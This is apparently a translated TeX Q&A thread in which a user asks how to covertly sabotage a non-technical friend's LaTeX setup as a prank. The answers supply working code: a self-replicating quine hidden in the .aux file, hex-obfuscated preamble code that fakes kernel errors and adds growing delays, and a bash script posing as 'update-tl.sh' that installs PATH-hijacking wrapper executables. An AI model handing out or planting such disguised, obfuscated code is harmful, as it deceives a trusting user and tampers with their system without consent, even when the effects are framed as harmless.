我有一个朋友需要我提供 LaTeX 支持。他不太懂技术,但喜欢 LaTeX,所以当他需要做的事情需要的宏和环境超出标准库存时,我就会帮助他。
我们喜欢互相开玩笑。我有个主意,下次他向 LaTeX 寻求帮助时,我给他开个玩笑,做一些相对无害且容易逆转的事情,这会明显改变生成的 PDF——或者做一些在正常 (La)TeX 使用中很明显的事情,比如延长编译时间---以一种不受欢迎的方式,问题的根源很难被发现(所以我认为这是代码恶意攻击的一个例子)。不过,我自己不太擅长 LaTeX,所以想向 TeXperts 寻求一些有创意的建议。
我怎样才能给我的朋友带来 (La)TeX 相关的困难?
答案1
aux
将以下代码片段添加到他们的文件中,这是一个 quine。当aux
文件处于\input
LaTeX 运行的开始阶段时,此处的代码将构建自身的副本并将其写入文件中aux
以供下次运行。此外,它将运行下面包含的代码\toks2
。例如,我选择的代码会增加每个段落的缩进大小,但前提是 TeX 在奇数分钟运行:结果取决于您的朋友何时编译。
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
一次运行后,该aux
文件将包含以下精简版本(一行)
{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }
并且后续运行将留下相同的压缩版本(再次在一行中)。
让我们看看具体发生了什么:在一个(简单)组中,token 寄存器\toks@
被设置为某个值,然后使用其内容。这些内容有什么用?有一个测试可以检查我们是在运行开始时还是在运行结束时读取辅助文件:\@nodocument
在\relax
第二种情况下,我们什么也不做。然后 toks 寄存器\toks2
被设置为您实际想要执行的代码。以下构造将toks\edef\x{...}\x
寄存器扩展为...
\AtBeginDocument{%
<contents of \toks2>\relax
\toks@{<contents of \toks@>}%
\immediate\write\@auxout{%
{%
\toks@{\the\toks@}%
\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
然后执行该代码。 \AtBeginDocument
稍后,一旦 LaTeX 再次准备好写入aux
文件(当前正在读取文件),它将运行其参数。因此,一旦 LaTeX 准备好写入文件aux
,它就会执行您的代码(暂时存储在 中\toks2
),然后将 存<contents of \toks@>
回 中\toks@
(此令牌寄存器可能已被其他代码使用),并将以下内容写入文件aux
(记住 会\write
扩展):
{%
\toks@{<contents of \toks@>}%
\the\toks@
}% end of brace group
这正是原始代码,因此它最终会出现在aux
下次运行 LaTeX 的文件中。
希望我选择输入的代码\toks2
足够简单易懂:
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
如果时间(以一天开始以来的分钟数计算)是奇数,则在每个段落中执行已在每个段落中执行的操作,并将段落缩进()增加\parindent
2 个点。例如,假设您将上面的第一个或第二个代码片段添加到aux
通过运行pdflatex
以下文档生成的文件中。那么如果在偶数分钟编译,文档将正常,否则将具有不断增加的段落缩进。
\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}
答案2
使用 LuaLaTeX 进行编译
\documentclass{article}
\usepackage{lipsum}
^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20
\begin{document}
\lipsum[1]
\end{document}
也可以\randomerror
代替\randomuclc
得不错。
答案3
每次运行后请按照说明进行操作,您可能会发现一些:)
对于那些不敢尝试的人来说,它的作用是生成一条错误消息(这里来自 emacs tex 帮助缓冲区),其中页码是随机的:
ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2
--- TeX said ---
Re-run LaTeX at least three times to give a chance to the kernel
to re-examine this intriguing problem.
You may have encountered one of the $1,000,000 kernel bug.
See the LaTeX manual or LaTeX Companion for explanation.
Type H <return> for immediate help.
...
l.49 \end{document}
--- HELP ---
From the .log file...
You're in trouble here. Try typing <return> to proceed.
If that doesn't work, type X <return> to quit.
并且此外,在每次新编译结束时,这个消息都会经过越来越长的延迟后出现(编译时间是秒级的,n^2/2
其中n
是之前运行的次数)。
用于混淆代码的十六进制转换有点长,也许可以使用十六进制数字来混淆\input
文件包含下面的代码的位置。
\documentclass{article}
\usepackage{lipsum}
^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72
\begin{document}
\lipsum[1-50]
\end{document}
十六进制代码(行尾带有空格)
\makeatletter\AtEndDocument{%
\@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
\immediate\write\@auxout
{\gdef\noexpand\@kernelpanictime{%
\the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
65536\relax}}%
\pdfresettimer
\loop
\ifnum\pdfelapsedtime<\@kernelpanictime\space
\repeat
\@latex@error{I'm stymied; problem of unknown type on page
\pdfuniformdeviate 10 ^^J
Re-run LaTeX at least three times to give a chance to the kernel^^J
to re-examine this intriguing problem.^^J
You may have encountered one of the \string$1,000,000 kernel bug}\@ehd
}\makeatother
答案4
由于代码太长,因此以答案而非评论的形式发布。基于 Bruno Le Floch 的答案,并由 egreg 在聊天中暗示了一点变化。
将其添加到您的辅助设备:
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\ifdefined\pdf@elapsedtime
\ifodd\pdf@elapsedtime
\advance\parindent 2pt\relax
\else
\advance\parindent -2pt\relax
\fi
\else
\advance\parindent 2pt\relax
\fi
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
如果您使用它pdflatex
(或lualatex
使用pdftexcmds
加载的包)进行编译,则在编译过程中每秒都会逆转更改\parindent
,任何其他编译器都会产生与 Bruno 的代码相同的结果。
情况会比这更糟吗?哦,是的,会的!我们不必直接编辑 aux 文件(清理构建目录后会撤消此操作),只需稍微调整一下可执行文件即可。
注意:正如丹尼尔在下面的评论中提到的那样,欺骗不熟练的人真的很卑鄙,所以使用一点常识来判断谁可以通过仔细观察了解发生了什么。此外,对于失去朋友或对您发送的脚本的永久不信任,我不承担任何责任;)
下次您的朋友请求支持时,请将此文件发送给他或她update-tl.sh
:
#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases
不幸的是,这只在 Linux 下有效,并且可能通过向 pdflatex 添加完整路径或额外参数而轻易被破坏,但总体思路如下:
- 获取原始可执行文件的位置
- 创建一个目录来存储“更新的”可执行文件
- 创建多个文件,并赋予其适当的执行权限
- 在每个文件中检查辅助文件是否已经存在,如果不存在,则使用上述代码创建它
- 然后让新脚本调用旧的可执行文件来构建输出,并使用可能已更改的 aux 文件
- 最后将这个新目录添加到 $PATH 环境变量中
一些有趣的事实:
- 仅当
bash
使用时才有效,否则~/.bashrc
不使用 - 仅当辅助文件不存在时才会添加代码
- 它仅在获取源代码后才有效
~/.bashrc
,因此在新登录或打开新的终端窗口后
编辑更多有趣事实:
- 运行
which pdflatex
返回原始的pdflatex
,而pdflatex test.tex
实际执行新的pdflatex
- 在多用户系统上,这只会影响运行
update-tl.sh
- 没有什么是永久损坏的,只需从辅助文件
[pdf|lua|xe]latex
中删除脚本~/.tex-updates
即可使一切恢复正常:)(与我原来更改bin
目录内的可执行文件的想法相反:P)